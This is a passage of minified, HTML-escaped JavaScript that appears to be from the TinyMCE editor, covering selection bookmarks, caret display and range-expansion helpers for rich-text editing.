n=t.container(),r=t.offset(),Au(n)?o=function(e,t){for(;(e=e.previousSibling)&amp;&amp;Au(e);)t+=e.data.length;return t}(n,r):(r&gt;=(i=n.childNodes).length?(o=&quot;after&quot;,r=i.length-1):o=&quot;before&quot;,n=i[r]),u.push(Iu(n)),a=function(e,t,n){var r=[];for(t=t.parentNode;!(t===e||n&amp;&amp;n(t));t=t.parentNode)r.push(t);return r}(e,n),a=Ht.filter(a,y(jo.isBogus)),(u=u.concat(Ht.map(a,function(e){return Iu(e)}))).reverse().join(&quot;/&quot;)+&quot;,&quot;+o},Fu=function(e,t){var n,r,o;return t?(t=(n=t.split(&quot;,&quot;))[0].split(&quot;/&quot;),o=1&lt;n.length?n[1]:&quot;before&quot;,(r=Ht.reduce(t,function(e,t){return(t=/([\w\-\(\)]+)\[([0-9]+)\]/.exec(t))?(&quot;text()&quot;===t[1]&amp;&amp;(t[1]=&quot;#text&quot;),n=e,r=t[1],o=parseInt(t[2],10),i=Bu(n),i=Ht.filter(i,function(e,t){return!Au(e)||!Au(i[t-1])}),(i=Ht.filter(i,jo.matchNodeNames(r)))[o]):null;var n,r,o,i},e))?Au(r)?function(e,t){for(var n,r=e,o=0;Au(r);){if(n=r.data.length,o&lt;=t&amp;&amp;t&lt;=o+n){e=r,t-=o;break}if(!Au(r.nextSibling)){e=r,t=n;break}o+=n,r=r.nextSibling}return Au(e)&amp;&amp;t&gt;e.data.length&amp;&amp;(t=e.data.length),_u(e,t)}(r,parseInt(o,10)):(o=&quot;after&quot;===o?Du(r)+1:Du(r),_u(r.parentNode,o)):null):null},Mu=function(e,t){jo.isText(t)&amp;&amp;0===t.data.length&amp;&amp;e.remove(t)},zu=function(e,t,n){var r,o,i,a,u,s,c;jo.isDocumentFragment(n)?(i=e,a=t,u=n,s=_.from(u.firstChild),c=_.from(u.lastChild),a.insertNode(u),s.each(function(e){return Mu(i,e.previousSibling)}),c.each(function(e){return Mu(i,e.nextSibling)})):(r=e,o=n,t.insertNode(o),Mu(r,o.previousSibling),Mu(r,o.nextSibling))},Uu=jo.isContentEditableFalse,ju=function(e,t,n,r,o){var i,a=r[o?&quot;startContainer&quot;:&quot;endContainer&quot;],u=r[o?&quot;startOffset&quot;:&quot;endOffset&quot;],s=[],c=0,l=e.getRoot();for(jo.isText(a)?s.push(n?function(e,t,n){var r,o;for(o=e(t.data.slice(0,n)).length,r=t.previousSibling;r&amp;&amp;jo.isText(r);r=r.previousSibling)o+=e(r.data).length;return o}(t,a,u):u):(u&gt;=(i=a.childNodes).length&amp;&amp;i.length&amp;&amp;(c=1,u=Math.max(0,i.length-1)),s.push(e.nodeIndex(i[u],n)+c));a&amp;&amp;a!==l;a=a.parentNode)s.push(e.nodeIndex(a,n));return s},Vu=function(e,t,n){var r=0;return Xt.each(e.select(t),function(e){if(&quot;all&quot;!==e.getAttribute(&quot;data-mce-bogus&quot;))return e!==n&amp;&amp;void r++}),r},Hu=function(e,t){var n,r,o,i=t?&quot;start&quot;:&quot;end&quot;;n=e[i+&quot;Container&quot;],r=e[i+&quot;Offset&quot;],jo.isElement(n)&amp;&amp;&quot;TR&quot;===n.nodeName&amp;&amp;(n=(o=n.childNodes)[Math.min(t?r:r-1,o.length-1)])&amp;&amp;(r=t?0:n.childNodes.length,e[&quot;set&quot;+(t?&quot;Start&quot;:&quot;End&quot;)](n,r))},qu=function(e){return Hu(e,!0),Hu(e,!1),e},$u=function(e,t){var n;if(jo.isElement(e)&amp;&amp;(e=eu(e,t),Uu(e)))return e;if(ka(e)){if(jo.isText(e)&amp;&amp;Sa(e)&amp;&amp;(e=e.parentNode),n=e.previousSibling,Uu(n))return n;if(n=e.nextSibling,Uu(n))return n}},Wu=function(e,t,n){var r=n.getNode(),o=r?r.nodeName:null,i=n.getRng();if(Uu(r)||&quot;IMG&quot;===o)return{name:o,index:Vu(n.dom,o,r)};var a,u,s,c,l,f,d,m=$u((a=i).startContainer,a.startOffset)||$u(a.endContainer,a.endOffset);return m?{name:o=m.tagName,index:Vu(n.dom,o,m)}:(u=e,c=t,l=i,f=(s=n).dom,(d={}).start=ju(f,u,c,l,!0),s.isCollapsed()||(d.end=ju(f,u,c,l,!1)),d)},Ku=function(e,t,n){var r={&quot;data-mce-type&quot;:&quot;bookmark&quot;,id:t,style:&quot;overflow:hidden;line-height:0px&quot;};return n?e.create(&quot;span&quot;,r,&quot;&amp;#xFEFF;&quot;):e.create(&quot;span&quot;,r)},Xu=function(e,t){var n=e.dom,r=e.getRng(),o=n.uniqueId(),i=e.isCollapsed(),a=e.getNode(),u=a.nodeName;if(&quot;IMG&quot;===u)return{name:u,index:Vu(n,u,a)};var s=qu(r.cloneRange());if(!i){s.collapse(!1);var c=Ku(n,o+&quot;_end&quot;,t);zu(n,s,c)}(r=qu(r)).collapse(!0);var l=Ku(n,o+&quot;_start&quot;,t);return zu(n,r,l),e.moveToBookmark({id:o,keep:1}),{id:o}},Yu={getBookmark:function(e,t,n){return 2===t?Wu(wa,n,e):3===t?(o=(r=e).getRng(),{start:Lu(r.dom.getRoot(),_u.fromRangeStart(o)),end:Lu(r.dom.getRoot(),_u.fromRangeEnd(o))}):t?{rng:e.getRng()}:Xu(e,!1);var r,o},getUndoBookmark:d(Wu,$,!0),getPersistentBookmark:Xu},Gu=&quot;_mce_caret&quot;,Ju=function(e){return jo.isElement(e)&amp;&amp;e.id===Gu},Qu=function(e,t){for(;t&amp;&amp;t!==e;){if(t.id===Gu)return t;t=t.parentNode}return null},Zu=jo.isElement,es=jo.isText,ts=function(e){var t=e.parentNode;t&amp;&amp;t.removeChild(e)},ns=function(e,t){0===t.length?ts(e):e.nodeValue=t},rs=function(e){var t=wa(e);return{count:e.length-t.length,text:t}},os=function(e,t){return us(e),t},is=function(e,t){var n,r,o,i=t.container(),a=(n=te(i.childNodes),r=e,o=L(n,r),-1===o?_.none():_.some(o)).map(function(e){return e&lt;t.offset()?_u(i,t.offset()-1):t}).getOr(t);return us(e),a},as=function(e,t){return es(e)&amp;&amp;t.container()===e?(r=t,o=rs((n=e).data.substr(0,r.offset())),i=rs(n.data.substr(r.offset())),0&lt;(a=o.text+i.text).length?(ns(n,a),_u(n,r.offset()-o.count)):r):os(e,t);var n,r,o,i,a},us=function(e){if(Zu(e)&amp;&amp;ka(e)&amp;&amp;(_a(e)?e.removeAttribute(&quot;data-mce-caret&quot;):ts(e)),es(e)){var t=wa(function(e){try{return e.nodeValue}catch(t){return&quot;&quot;}}(e));ns(e,t)}},ss={removeAndReposition:function(e,t){return _u.isTextPosition(t)?as(e,t):(n=e,(r=t).container()===n.parentNode?is(n,r):os(n,r));var n,r},remove:us},cs=or.detect().browser,ls=jo.isContentEditableFalse,fs=function(e,t,n){var r,o,i,a,u,s=Xa(t.getBoundingClientRect(),n);return&quot;BODY&quot;===e.tagName?(r=e.ownerDocument.documentElement,o=e.scrollLeft||r.scrollLeft,i=e.scrollTop||r.scrollTop):(u=e.getBoundingClientRect(),o=e.scrollLeft-u.left,i=e.scrollTop-u.top),s.left+=o,s.right+=o,s.top+=i,s.bottom+=i,s.width=1,0&lt;(a=t.offsetWidth-t.clientWidth)&amp;&amp;(n&amp;&amp;(a*=-1),s.left+=a,s.right+=a),s},ds=function(a,u,e){var t,s,c=Hi(_.none()),l=function(){!function(e){var t,n,r,o,i;for(t=gn(&quot;*[contentEditable=false]&quot;,e),o=0;o&lt;t.length;o++)r=(n=t[o]).previousSibling,Ba(r)&amp;&amp;(1===(i=r.data).length?r.parentNode.removeChild(r):r.deleteData(i.length-1,1)),r=n.nextSibling,Oa(r)&amp;&amp;(1===(i=r.data).length?r.parentNode.removeChild(r):r.deleteData(0,1))}(a),s&amp;&amp;(ss.remove(s),s=null),c.get().each(function(e){gn(e.caret).remove(),c.set(_.none())}),clearInterval(t)},f=function(){t=he.setInterval(function(){e()?gn(&quot;div.mce-visual-caret&quot;,a).toggleClass(&quot;mce-visual-caret-hidden&quot;):gn(&quot;div.mce-visual-caret&quot;,a).addClass(&quot;mce-visual-caret-hidden&quot;)},500)};return{show:function(t,e){var n,r,o;if(l(),o=e,jo.isElement(o)&amp;&amp;/^(TD|TH)$/i.test(o.tagName))return null;if(!u(e))return s=function(e,t){var n,r,o;if(r=e.ownerDocument.createTextNode(xa),o=e.parentNode,t){if(n=e.previousSibling,Ea(n)){if(ka(n))return n;if(Ba(n))return n.splitText(n.data.length-1)}o.insertBefore(r,e)}else{if(n=e.nextSibling,Ea(n)){if(ka(n))return n;if(Oa(n))return n.splitText(1),n}e.nextSibling?o.insertBefore(r,e.nextSibling):o.appendChild(r)}return r}(e,t),r=e.ownerDocument.createRange(),ls(s.nextSibling)?(r.setStart(s,0),r.setEnd(s,0)):(r.setStart(s,1),r.setEnd(s,1)),r;s=Da(&quot;p&quot;,e,t),n=fs(a,e,t),gn(s).css(&quot;top&quot;,n.top);var i=gn(&#039;&lt;div class=&quot;mce-visual-caret&quot; data-mce-bogus=&quot;all&quot;&gt;&lt;/div&gt;&#039;).css(n).appendTo(a)[0];return c.set(_.some({caret:i,element:e,before:t})),c.get().each(function(e){t&amp;&amp;gn(e.caret).addClass(&quot;mce-visual-caret-before&quot;)}),f(),(r=e.ownerDocument.createRange()).setStart(s,0),r.setEnd(s,0),r},hide:l,getCss:function(){return&quot;.mce-visual-caret {position: absolute;background-color: black;background-color: currentcolor;}.mce-visual-caret-hidden {display: none;}*[data-mce-caret] {position: absolute;left: -1000px;right: auto;top: 0;margin: 0;padding: 0;}&quot;},reposition:function(){c.get().each(function(e){var t=fs(a,e.element,e.before);gn(e.caret).css(t)})},destroy:function(){return he.clearInterval(t)}}},ms=function(){return cs.isIE()||cs.isEdge()||cs.isFirefox()},gs=function(e){return ls(e)||jo.isTable(e)&amp;&amp;ms()},ps=jo.isContentEditableFalse,hs=jo.matchStyleValues(&quot;display&quot;,&quot;block table table-cell table-caption list-item&quot;),vs=ka,ys=Sa,bs=jo.isElement,Cs=Ha,xs=function(e){return 0&lt;e},ws=function(e){return e&lt;0},Ns=function(e,t){for(var n;n=e(t);)if(!ys(n))return n;return null},Es=function(e,t,n,r,o){var i=new go(e,r);if(ws(t)){if((ps(e)||ys(e))&amp;&amp;n(e=Ns(i.prev,!0)))return e;for(;e=Ns(i.prev,o);)if(n(e))return e}if(xs(t)){if((ps(e)||ys(e))&amp;&amp;n(e=Ns(i.next,!0)))return e;for(;e=Ns(i.next,o);)if(n(e))return e}return null},Ss=function(e,t){for(;e&amp;&amp;e!==t;){if(hs(e))return e;e=e.parentNode}return null},Ts=function(e,t,n){return Ss(e.container(),n)===Ss(t.container(),n)},ks=function(e,t){var n,r;return t?(n=t.container(),r=t.offset(),bs(n)?n.childNodes[r+e]:null):null},_s=function(e,t){var n=t.ownerDocument.createRange();return e?(n.setStartBefore(t),n.setEndBefore(t)):(n.setStartAfter(t),n.setEndAfter(t)),n},As=function(e,t,n){var r,o,i,a;for(o=e?&quot;previousSibling&quot;:&quot;nextSibling&quot;;n&amp;&amp;n!==t;){if(r=n[o],vs(r)&amp;&amp;(r=r[o]),ps(r)){if(a=n,Ss(r,i=t)===Ss(a,i))return r;break}if(Cs(r))break;n=n.parentNode}return null},Rs=d(_s,!0),Ds=d(_s,!1),Os=function(e,t,n){var r,o,i,a,u=d(As,!0,t),s=d(As,!1,t);if(o=n.startContainer,i=n.startOffset,Sa(o)){if(bs(o)||(o=o.parentNode),&quot;before&quot;===(a=o.getAttribute(&quot;data-mce-caret&quot;))&amp;&amp;(r=o.nextSibling,gs(r)))return Rs(r);if(&quot;after&quot;===a&amp;&amp;(r=o.previousSibling,gs(r)))return Ds(r)}if(!n.collapsed)return n;if(jo.isText(o)){if(vs(o)){if(1===e){if(r=s(o))return Rs(r);if(r=u(o))return Ds(r)}if(-1===e){if(r=u(o))return Ds(r);if(r=s(o))return Rs(r)}return n}if(Ba(o)&amp;&amp;i&gt;=o.data.length-1)return 1===e&amp;&amp;(r=s(o))?Rs(r):n;if(Oa(o)&amp;&amp;i&lt;=1)return-1===e&amp;&amp;(r=u(o))?Ds(r):n;if(i===o.data.length)return(r=s(o))?Rs(r):n;if(0===i)return(r=u(o))?Ds(r):n}return n},Bs=function(e,t){return _.from(ks(e?0:-1,t)).filter(ps)},Ps=function(e,t,n){var r=Os(e,t,n);return-1===e?Su.fromRangeStart(r):Su.fromRangeEnd(r)},Is=function(e){return _.from(e.getNode()).map(ar.fromDom)},Ls=function(e,t){for(;t=e(t);)if(t.isVisible())return t;return t},Fs=function(e,t){var n=Ts(e,t);return!(n||!jo.isBr(e.getNode()))||n};(ku=Tu||(Tu={}))[ku.Backwards=-1]=&quot;Backwards&quot;,ku[ku.Forwards=1]=&quot;Forwards&quot;;var Ms,zs,Us,js=jo.isContentEditableFalse,Vs=jo.isText,Hs=jo.isElement,qs=jo.isBr,$s=Ha,Ws=function(e){return Ua(e)||!!qa(t=e)&amp;&amp;!0!==j(te(t.getElementsByTagName(&quot;*&quot;)),function(e,t){return e||Ia(t)},!1);var t},Ks=$a,Xs=function(e,t){return e.hasChildNodes()&amp;&amp;t&lt;e.childNodes.length?e.childNodes[t]:null},Ys=function(e,t){if(xs(e)){if($s(t.previousSibling)&amp;&amp;!Vs(t.previousSibling))return _u.before(t);if(Vs(t))return _u(t,0)}if(ws(e)){if($s(t.nextSibling)&amp;&amp;!Vs(t.nextSibling))return _u.after(t);if(Vs(t))return _u(t,t.data.length)}return ws(e)?qs(t)?_u.before(t):_u.after(t):_u.before(t)},Gs=function(e,t,n){var r,o,i,a,u;if(!Hs(n)||!t)return null;if(t.isEqual(_u.after(n))&amp;&amp;n.lastChild){if(u=_u.after(n.lastChild),ws(e)&amp;&amp;$s(n.lastChild)&amp;&amp;Hs(n.lastChild))return qs(n.lastChild)?_u.before(n.lastChild):u}else u=t;var s,c,l,f=u.container(),d=u.offset();if(Vs(f)){if(ws(e)&amp;&amp;0&lt;d)return _u(f,--d);if(xs(e)&amp;&amp;d&lt;f.length)return _u(f,++d);r=f}else{if(ws(e)&amp;&amp;0&lt;d&amp;&amp;(o=Xs(f,d-1),$s(o)))return!Ws(o)&amp;&amp;(i=Es(o,e,Ks,o))?Vs(i)?_u(i,i.data.length):_u.after(i):Vs(o)?_u(o,o.data.length):_u.before(o);if(xs(e)&amp;&amp;d&lt;f.childNodes.length&amp;&amp;(o=Xs(f,d),$s(o)))return qs(o)?(s=n,(l=(c=o).nextSibling)&amp;&amp;$s(l)?Vs(l)?_u(l,0):_u.before(l):Gs(Tu.Forwards,_u.after(c),s)):!Ws(o)&amp;&amp;(i=Es(o,e,Ks,o))?Vs(i)?_u(i,0):_u.before(i):Vs(o)?_u(o,0):_u.after(o);r=o||u.getNode()}return(xs(e)&amp;&amp;u.isAtEnd()||ws(e)&amp;&amp;u.isAtStart())&amp;&amp;(r=Es(r,e,q(!0),n,!0),Ks(r,n))?Ys(e,r):(o=Es(r,e,Ks,n),!(a=Ht.last(U(function(e,t){for(var n=[];e&amp;&amp;e!==t;)n.push(e),e=e.parentNode;return n}(f,n),js)))||o&amp;&amp;a.contains(o)?o?Ys(e,o):null:u=xs(e)?_u.after(a):_u.before(a))},Js=function(t){return{next:function(e){return Gs(Tu.Forwards,e,t)},prev:function(e){return Gs(Tu.Backwards,e,t)}}},Qs=function(e){return _u.isTextPosition(e)?0===e.offset():Ha(e.getNode())},Zs=function(e){if(_u.isTextPosition(e)){var t=e.container();return e.offset()===t.data.length}return Ha(e.getNode(!0))},ec=function(e,t){return!_u.isTextPosition(e)&amp;&amp;!_u.isTextPosition(t)&amp;&amp;e.getNode()===t.getNode(!0)},tc=function(e,t,n){return e?!ec(t,n)&amp;&amp;(r=t,!(!_u.isTextPosition(r)&amp;&amp;jo.isBr(r.getNode())))&amp;&amp;Zs(t)&amp;&amp;Qs(n):!ec(n,t)&amp;&amp;Qs(t)&amp;&amp;Zs(n);var r},nc=function(e,t,n){var r=Js(t);return _.from(e?r.next(n):r.prev(n))},rc=function(t,n,r){return nc(t,n,r).bind(function(e){return Ts(r,e,n)&amp;&amp;tc(t,r,e)?nc(t,n,e):_.some(e)})},oc=function(t,n,e,r){return rc(t,n,e).bind(function(e){return r(e)?oc(t,n,e,r):_.some(e)})},ic=function(e,t){var n,r,o,i,a,u=e?t.firstChild:t.lastChild;return jo.isText(u)?_.some(_u(u,e?0:u.data.length)):u?Ha(u)?_.some(e?_u.before(u):(a=u,jo.isBr(a)?_u.before(a):_u.after(a))):(r=t,o=u,i=(n=e)?_u.before(o):_u.after(o),nc(n,r,i)):_.none()},ac=d(nc,!0),uc=d(nc,!1),sc={fromPosition:nc,nextPosition:ac,prevPosition:uc,navigate:rc,navigateIgnore:oc,positionIn:ic,firstPositionIn:d(ic,!0),lastPositionIn:d(ic,!1)},cc=function(e,t){return jo.isElement(t)&amp;&amp;e.isBlock(t)&amp;&amp;!t.innerHTML&amp;&amp;!fe.ie&amp;&amp;(t.innerHTML=&#039;&lt;br data-mce-bogus=&quot;1&quot; /&gt;&#039;),t},lc=function(e,t){return sc.lastPositionIn(e).fold(function(){return!1},function(e){return t.setStart(e.container(),e.offset()),t.setEnd(e.container(),e.offset()),!0})},fc=function(e,t,n){return!(!1!==t.hasChildNodes()||!Qu(e,t)||(o=n,i=(r=t).ownerDocument.createTextNode(xa),r.appendChild(i),o.setStart(i,0),o.setEnd(i,0),0));var r,o,i},dc=function(e,t,n,r){var o,i,a,u,s=n[t?&quot;start&quot;:&quot;end&quot;],c=e.getRoot();if(s){for(a=s[0],i=c,o=s.length-1;1&lt;=o;o--){if(u=i.childNodes,fc(c,i,r))return!0;if(s[o]&gt;u.length-1)return!!fc(c,i,r)||lc(i,r);i=u[s[o]]}3===i.nodeType&amp;&amp;(a=Math.min(s[0],i.nodeValue.length)),1===i.nodeType&amp;&amp;(a=Math.min(s[0],i.childNodes.length)),t?r.setStart(i,a):r.setEnd(i,a)}return!0},mc=function(e){return jo.isText(e)&amp;&amp;0&lt;e.data.length},gc=function(e,t,n){var r,o,i,a,u,s,c=e.get(n.id+&quot;_&quot;+t),l=n.keep;if(c){if(r=c.parentNode,&quot;start&quot;===t?l?c.hasChildNodes()?(r=c.firstChild,o=1):mc(c.nextSibling)?(r=c.nextSibling,o=0):mc(c.previousSibling)?(r=c.previousSibling,o=c.previousSibling.data.length):(r=c.parentNode,o=e.nodeIndex(c)+1):o=e.nodeIndex(c):l?c.hasChildNodes()?(r=c.firstChild,o=1):mc(c.previousSibling)?(r=c.previousSibling,o=c.previousSibling.data.length):(r=c.parentNode,o=e.nodeIndex(c)):o=e.nodeIndex(c),u=r,s=o,!l){for(a=c.previousSibling,i=c.nextSibling,Xt.each(Xt.grep(c.childNodes),function(e){jo.isText(e)&amp;&amp;(e.nodeValue=e.nodeValue.replace(/\uFEFF/g,&quot;&quot;))});c=e.get(n.id+&quot;_&quot;+t);)e.remove(c,!0);a&amp;&amp;i&amp;&amp;a.nodeType===i.nodeType&amp;&amp;jo.isText(a)&amp;&amp;!fe.opera&amp;&amp;(o=a.nodeValue.length,a.appendData(i.nodeValue),e.remove(i),u=a,s=o)}return _.some(_u(u,s))}return _.none()},pc=function(e,t){var n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v,y=e.dom;if(t){if(v=t,Xt.isArray(v.start))return p=t,h=(g=y).createRng(),dc(g,!0,p,h)&amp;&amp;dc(g,!1,p,h)?_.some(h):_.none();if(&quot;string&quot;==typeof t.start)return _.some((f=t,d=(l=y).createRng(),m=Fu(l.getRoot(),f.start),d.setStart(m.container(),m.offset()),m=Fu(l.getRoot(),f.end),d.setEnd(m.container(),m.offset()),d));if(t.hasOwnProperty(&quot;id&quot;))return s=gc(o=y,&quot;start&quot;,i=t),c=gc(o,&quot;end&quot;,i),ru(s,(u=s,(a=c).isSome()?a:u),function(e,t){var n=o.createRng();return n.setStart(cc(o,e.container()),e.offset()),n.setEnd(cc(o,t.container()),t.offset()),n});if(t.hasOwnProperty(&quot;name&quot;))return n=y,r=t,_.from(n.select(r.name)[r.index]).map(function(e){var t=n.createRng();return t.selectNode(e),t});if(t.hasOwnProperty(&quot;rng&quot;))return _.some(t.rng)}return _.none()},hc=function(e,t,n){return Yu.getBookmark(e,t,n)},vc=function(t,e){pc(t,e).each(function(e){t.setRng(e)})},yc=function(e){return jo.isElement(e)&amp;&amp;&quot;SPAN&quot;===e.tagName&amp;&amp;&quot;bookmark&quot;===e.getAttribute(&quot;data-mce-type&quot;)},bc=function(e){return e&amp;&amp;/^(IMG)$/.test(e.nodeName)},Cc=function(e){return e&amp;&amp;3===e.nodeType&amp;&amp;/^([\t \r\n]+|)$/.test(e.nodeValue)},xc=function(e,t,n){return&quot;color&quot;!==n&amp;&amp;&quot;backgroundColor&quot;!==n||(t=e.toHex(t)),&quot;fontWeight&quot;===n&amp;&amp;700===t&amp;&amp;(t=&quot;bold&quot;),&quot;fontFamily&quot;===n&amp;&amp;(t=t.replace(/[\&#039;\&quot;]/g,&quot;&quot;).replace(/,\s+/g,&quot;,&quot;)),&quot;&quot;+t},wc={isInlineBlock:bc,moveStart:function(e,t,n){var r,o,i,a=n.startOffset,u=n.startContainer;if((n.startContainer!==n.endContainer||!bc(n.startContainer.childNodes[n.startOffset]))&amp;&amp;1===u.nodeType)for(a&lt;(i=u.childNodes).length?r=new go(u=i[a],e.getParent(u,e.isBlock)):(r=new go(u=i[i.length-1],e.getParent(u,e.isBlock))).next(!0),o=r.current();o;o=r.next())if(3===o.nodeType&amp;&amp;!Cc(o))return n.setStart(o,0),void t.setRng(n)},getNonWhiteSpaceSibling:function(e,t,n){if(e)for(t=t?&quot;nextSibling&quot;:&quot;previousSibling&quot;,e=n?e:e[t];e;e=e[t])if(1===e.nodeType||!Cc(e))return e},isTextBlock:function(e,t){return t.nodeType&amp;&amp;(t=t.nodeName),!!e.schema.getTextBlockElements()[t.toLowerCase()]},isValid:function(e,t,n){return e.schema.isValidChild(t,n)},isWhiteSpaceNode:Cc,replaceVars:function(e,n){return&quot;string&quot;!=typeof e?e=e(n):n&amp;&amp;(e=e.replace(/%(\w+)/g,function(e,t){return n[t]||e})),e},isEq:function(e,t){return t=t||&quot;&quot;,e=&quot;&quot;+((e=e||&quot;&quot;).nodeName||e),t=&quot;&quot;+(t.nodeName||t),e.toLowerCase()===t.toLowerCase()},normalizeStyleValue:xc,getStyle:function(e,t,n){return xc(e,e.getStyle(t,n),n)},getTextDecoration:function(t,e){var n;return t.getParent(e,function(e){return(n=t.getStyle(e,&quot;text-decoration&quot;))&amp;&amp;&quot;none&quot;!==n}),n},getParents:function(e,t,n){return e.getParents(t,n,e.getRoot())}},Nc=yc,Ec=wc.getParents,Sc=wc.isWhiteSpaceNode,Tc=wc.isTextBlock,kc=function(e,t){for(void 0===t&amp;&amp;(t=3===e.nodeType?e.length:e.childNodes.length);e&amp;&amp;e.hasChildNodes();)(e=e.childNodes[t])&amp;&amp;(t=3===e.nodeType?e.length:e.childNodes.length);return{node:e,offset:t}},_c=function(e,t){for(var n=t;n;){if(1===n.nodeType&amp;&amp;e.getContentEditable(n))return&quot;false&quot;===e.getContentEditable(n)?n:t;n=n.parentNode}return t},Ac=function(e,t,n,r){var o,i,a=n.nodeValue;return void 0===r&amp;&amp;(r=e?a.length:0),e?(o=a.lastIndexOf(&quot; &quot;,r),-1!==(o=(i=a.lastIndexOf(&quot;\xa0&quot;,r))&lt;o?o:i)&amp;&amp;!t&amp;&amp;(o&lt;r||!e)&amp;&amp;o&lt;=a.length&amp;&amp;o++):(o=a.indexOf(&quot; &quot;,r),i=a.indexOf(&quot;\xa0&quot;,r),o=-1!==o&amp;&amp;(-1===i||o&lt;i)?o:i),o},Rc=function(e,t,n,r,o,i){var a,u,s,c;if(3===n.nodeType){if(-1!==(s=Ac(o,i,n,r)))return{container:n,offset:s};c=n}for(a=new go(n,e.getParent(n,e.isBlock)||t);u=a[o?&quot;prev&quot;:&quot;next&quot;]();)if(3!==u.nodeType||Nc(u.parentNode)){if(e.isBlock(u)||wc.isEq(u,&quot;BR&quot;))break}else if(-1!==(s=Ac(o,i,c=u)))return{container:u,offset:s};if(c)return{container:c,offset:r=o?0:c.length}},Dc=function(e,t,n,r,o){var i,a,u,s;for(3===r.nodeType&amp;&amp;0===r.nodeValue.length&amp;&amp;r[o]&amp;&amp;(r=r[o]),i=Ec(e,r),a=0;a&lt;i.length;a++)for(u=0;u&lt;t.length;u++)if(!(&quot;collapsed&quot;in(s=t[u])&amp;&amp;s.collapsed!==n.collapsed)&amp;&amp;e.is(i[a],s.selector))return i[a];return r},Oc=function(t,e,n,r){var o,i=t.dom,a=i.getRoot();if(e[0].wrapper||(o=i.getParent(n,e[0].block,a)),!o){var u=i.getParent(n,&quot;LI,TD,TH&quot;);o=i.getParent(3===n.nodeType?n.parentNode:n,function(e){return e!==a&amp;&amp;Tc(t,e)},u)}if(o&amp;&amp;e[0].wrapper&amp;&amp;(o=Ec(i,o,&quot;ul,ol&quot;).reverse()[0]||o),!o)for(o=n;o[r]&amp;&amp;!i.isBlock(o[r])&amp;&amp;(o=o[r],!wc.isEq(o,&quot;br&quot;)););return o||n},Bc=function(e,t,n,r,o,i,a){var u,s,c,l,f,d;if(u=s=a?n:o,l=a?&quot;previousSibling&quot;:&quot;nextSibling&quot;,f=e.getRoot(),3===u.nodeType&amp;&amp;!Sc(u)&amp;&amp;(a?0&lt;r:i&lt;u.nodeValue.length))return u;for(;;){if(!t[0].block_expand&amp;&amp;e.isBlock(s))return s;for(c=s[l];c;c=c[l])if(!Nc(c)&amp;&amp;!Sc(c)&amp;&amp;(&quot;BR&quot;!==(d=c).nodeName||!d.getAttribute(&quot;data-mce-bogus&quot;)||d.nextSibling))return s;if(s===f||s.parentNode===f){u=s;break}s=s.parentNode}return u},Pc=function(e,t,n,r){var o,i=t.startContainer,a=t.startOffset,u=t.endContainer,s=t.endOffset,c=e.dom;return 1===i.nodeType&amp;&amp;i.hasChildNodes()&amp;&amp;3===(i=eu(i,a)).nodeType&amp;&amp;(a=0),1===u.nodeType&amp;&amp;u.hasChildNodes()&amp;&amp;3===(u=eu(u,t.collapsed?s:s-1)).nodeType&amp;&amp;(s=u.nodeValue.length),i=_c(c,i),u=_c(c,u),(Nc(i.parentNode)||Nc(i))&amp;&amp;(i=Nc(i)?i:i.parentNode,3===(i=t.collapsed?i.previousSibling||i:i.nextSibling||i).nodeType&amp;&amp;(a=t.collapsed?i.length:0)),(Nc(u.parentNode)||Nc(u))&amp;&amp;(u=Nc(u)?u:u.parentNode,3===(u=t.collapsed?u.nextSibling||u:u.previousSibling||u).nodeType&amp;&amp;(s=t.collapsed?0:u.length)),t.collapsed&amp;&amp;((o=Rc(c,e.getBody(),i,a,!0,r))&amp;&amp;(i=o.container,a=o.offset),(o=Rc(c,e.getBody(),u,s,!1,r))&amp;&amp;(u=o.container,s=o.offset)),n[0].inline&amp;&amp;(u=r?u:function(e,t){var n=kc(e,t);if(n.node){for(;n.node&amp;&amp;0===n.offset&amp;&amp;n.node.previousSibling;)n=kc(n.node.previousSibling);n.node&amp;&amp;0&lt;n.offset&amp;&amp;3===n.node.nodeType&amp;&amp;&quot; &quot;===n.node.nodeValue.charAt(n.offset-1)&amp;&amp;1&lt;n.offset&amp;&amp;(e=n.node).splitText(n.offset-1)}return e}(u,s)),(n[0].inline||n[0].block_expand)&amp;&amp;(n[0].inline&amp;&amp;3===i.nodeType&amp;&amp;0!==a||(i=Bc(c,n,i,a,u,s,!0)),n[0].inline&amp;&amp;3===u.nodeType&amp;&amp;s!==u.nodeValue.length||(u=Bc(c,n,i,a,u,s,!1))),n[0].selector&amp;&amp;!1!==n[0].expand&amp;&amp;!n[0].inline&amp;&amp;(i=Dc(c,n,t,i,&quot;previousSibling&quot;),u=Dc(c,n,t,u,&quot;nextSibling&quot;)),(n[0].block||n[0].selector)&amp;&amp;(i=Oc(e,n,i,&quot;previousSibling&quot;),u=Oc(e,n,u,&quot;nextSibling&quot;),n[0].block&amp;&amp;(c.isBlock(i)||(i=Bc(c,n,i,a,u,s,!0)),c.isBlock(u)||(u=Bc(c,n,i,a,u,s,!1)))),1===i.nodeType&amp;&amp;(a=c.nodeIndex(i),i=i.parentNode),1===u.nodeType&amp;&amp;(s=c.nodeIndex(u)+1,u=u.parentNode),{startContainer:i,startOffset:a,endContainer:u,endOffset:s}},Ic=Xt.each,Lc=function(e,t,o){var n,r,i,a,u,s,c,l=t.startContainer,f=t.startOffset,d=t.endContainer,m=t.endOffset;if(0&lt;(c=e.select(&quot;td[data-mce-selected],th[data-mce-selected]&quot;)).length)Ic(c,function(e){o([e])});else{var g,p,h,v=function(e){var t;return 3===(t=e[0]).nodeType&amp;&amp;t===l&amp;&amp;f&gt;=t.nodeValue.length&amp;&amp;e.splice(0,1),t=e[e.length-1],0===m&amp;&amp;0&lt;e.length&amp;&amp;t===d&amp;&amp;3===t.nodeType&amp;&amp;e.splice(e.length-1,1),e},y=function(e,t,n){for(var r=[];e&amp;&amp;e!==n;e=e[t])r.push(e);return r},b=function(e,t){do{if(e.parentNode===t)return e;e=e.parentNode}while(e)},C=function(e,t,n){var r=n?&quot;nextSibling&quot;:&quot;previousSibling&quot;;for(u=(a=e).parentNode;a&amp;&amp;a!==t;a=u)u=a.parentNode,(s=y(a===e?a:a[r],r)).length&amp;&amp;(n||s.reverse(),o(v(s)))};if(1===l.nodeType&amp;&amp;l.hasChildNodes()&amp;&amp;(l=l.childNodes[f]),1===d.nodeType&amp;&amp;d.hasChildNodes()&amp;&amp;(p=m,h=(g=d).childNodes,--p&gt;h.length-1?p=h.length-1:p&lt;0&amp;&amp;(p=0),d=h[p]||g),l===d)return 